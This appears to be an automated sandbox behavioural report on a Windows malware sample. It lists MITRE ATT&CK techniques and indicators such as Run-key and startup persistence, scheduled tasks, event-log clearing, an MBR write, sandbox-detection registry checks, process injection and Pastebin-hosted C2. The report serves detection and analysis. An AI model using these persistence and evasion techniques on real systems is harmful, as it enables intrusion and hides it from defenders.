gurcu | b871ed20d46a9be3a4aedb5facad152ab24289b6866076cb7ffc59721ca7525c

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	KrnlSetupSus.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk	KrnlSetupSus.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk	KrnlSetupSus.exe

Executes dropped EXE 2 IoCs

pid	Process
1368	Install.exe
3716	KrnlSetupSus.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ntoskrnl = "C:\\ProgramData\\ntoskrnl.exe"	KrnlSetupSus.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	pastebin.com
22	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\ntoskrnl	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4004 set thread context of 2768	4004	powershell.EXE	87

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1756	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02gsdkcqcqncafnj\DeviceId = "<Data LastUpdatedTime=\"1734177599\"><User username=\"02GSDKCQCQNCAFNJ\"/></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1734177686"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={1CEB11FC-AAA2-4D46-AC7F-70CB91DA5A1F}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00180012BA52BC61 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000086223e064320148b243d59121825b9b00000000020000000000106600000001000020000000761f7146e1fbe79b2bb36dde6acb07ccef71fff21c5a2b9821ff2aa7a0e1e7d6000000000e8000000002000020000000196913211dd591e6724bca3adc806f3f083c0f4321e824f45286b6921b6d527880000000580564e7a01d1bf806982d2ba4dbd548fd44a9409eade6e88f5e8345ae7cc816e34db680646f8192ec27dc78135bddfb5b4817a7864010c81b6ec260e6a525871f881b175e7e43ed77959995303a7df26c6e5b3b76e7420601dd4a737252e1cdc6d3edf440677e072e1e319d8ff89846b291cce7523b35e5f62187141e689cba400000005a2653952b5d4ed3986a913f069ca5f53a45ea55c6d4a88ed987217b6abfbcae3ee43ba1b0b925349bf56f9f70bf2df5f19812cb9898c81852bfac7f08882545	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02gsdkcqcqncafnj	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe

Modifies registry class 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5068	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4004	powershell.EXE
4004	powershell.EXE
4004	powershell.EXE
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
3948	wmiprvse.exe
3948	wmiprvse.exe
3948	wmiprvse.exe
3948	wmiprvse.exe
3948	wmiprvse.exe
3948	wmiprvse.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
4980	powershell.exe
4980	powershell.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
4676	powershell.exe
2768	dllhost.exe
2768	dllhost.exe
4676	powershell.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
1932	powershell.exe
1932	powershell.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe
4828	powershell.exe
4828	powershell.exe
2768	dllhost.exe
2768	dllhost.exe
2768	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3716	KrnlSetupSus.exe
Token: SeDebugPrivilege	4004	powershell.EXE
Token: SeDebugPrivilege	4004	powershell.EXE
Token: SeDebugPrivilege	2768	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1860	svchost.exe
Token: SeIncreaseQuotaPrivilege	1860	svchost.exe
Token: SeSecurityPrivilege	1860	svchost.exe
Token: SeTakeOwnershipPrivilege	1860	svchost.exe
Token: SeLoadDriverPrivilege	1860	svchost.exe
Token: SeSystemtimePrivilege	1860	svchost.exe
Token: SeBackupPrivilege	1860	svchost.exe
Token: SeRestorePrivilege	1860	svchost.exe
Token: SeShutdownPrivilege	1860	svchost.exe
Token: SeSystemEnvironmentPrivilege	1860	svchost.exe
Token: SeUndockPrivilege	1860	svchost.exe
Token: SeManageVolumePrivilege	1860	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1860	svchost.exe
Token: SeIncreaseQuotaPrivilege	1860	svchost.exe
Token: SeSecurityPrivilege	1860	svchost.exe
Token: SeTakeOwnershipPrivilege	1860	svchost.exe
Token: SeLoadDriverPrivilege	1860	svchost.exe
Token: SeSystemtimePrivilege	1860	svchost.exe
Token: SeBackupPrivilege	1860	svchost.exe
Token: SeRestorePrivilege	1860	svchost.exe
Token: SeShutdownPrivilege	1860	svchost.exe
Token: SeSystemEnvironmentPrivilege	1860	svchost.exe
Token: SeUndockPrivilege	1860	svchost.exe
Token: SeManageVolumePrivilege	1860	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1860	svchost.exe
Token: SeIncreaseQuotaPrivilege	1860	svchost.exe
Token: SeSecurityPrivilege	1860	svchost.exe
Token: SeTakeOwnershipPrivilege	1860	svchost.exe
Token: SeLoadDriverPrivilege	1860	svchost.exe
Token: SeSystemtimePrivilege	1860	svchost.exe
Token: SeBackupPrivilege	1860	svchost.exe
Token: SeRestorePrivilege	1860	svchost.exe
Token: SeShutdownPrivilege	1860	svchost.exe
Token: SeSystemEnvironmentPrivilege	1860	svchost.exe
Token: SeUndockPrivilege	1860	svchost.exe
Token: SeManageVolumePrivilege	1860	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1860	svchost.exe
Token: SeIncreaseQuotaPrivilege	1860	svchost.exe
Token: SeSecurityPrivilege	1860	svchost.exe
Token: SeTakeOwnershipPrivilege	1860	svchost.exe
Token: SeLoadDriverPrivilege	1860	svchost.exe
Token: SeSystemtimePrivilege	1860	svchost.exe
Token: SeBackupPrivilege	1860	svchost.exe
Token: SeRestorePrivilege	1860	svchost.exe
Token: SeShutdownPrivilege	1860	svchost.exe
Token: SeSystemEnvironmentPrivilege	1860	svchost.exe
Token: SeUndockPrivilege	1860	svchost.exe
Token: SeManageVolumePrivilege	1860	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1860	svchost.exe
Token: SeIncreaseQuotaPrivilege	1860	svchost.exe
Token: SeSecurityPrivilege	1860	svchost.exe
Token: SeTakeOwnershipPrivilege	1860	svchost.exe
Token: SeLoadDriverPrivilege	1860	svchost.exe
Token: SeSystemtimePrivilege	1860	svchost.exe
Token: SeBackupPrivilege	1860	svchost.exe
Token: SeRestorePrivilege	1860	svchost.exe
Token: SeShutdownPrivilege	1860	svchost.exe
Token: SeSystemEnvironmentPrivilege	1860	svchost.exe
Token: SeUndockPrivilege	1860	svchost.exe
Token: SeManageVolumePrivilege	1860	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3716	KrnlSetupSus.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 680 wrote to memory of 1368	680	Install.exe	83
PID 680 wrote to memory of 1368	680	Install.exe	83
PID 680 wrote to memory of 1368	680	Install.exe	83
PID 680 wrote to memory of 3716	680	Install.exe	84
PID 680 wrote to memory of 3716	680	Install.exe	84
PID 4004 wrote to memory of 2768	4004	powershell.EXE	87
PID 4004 wrote to memory of 2768	4004	powershell.EXE	87
PID 4004 wrote to memory of 2768	4004	powershell.EXE	87
PID 4004 wrote to memory of 2768	4004	powershell.EXE	87
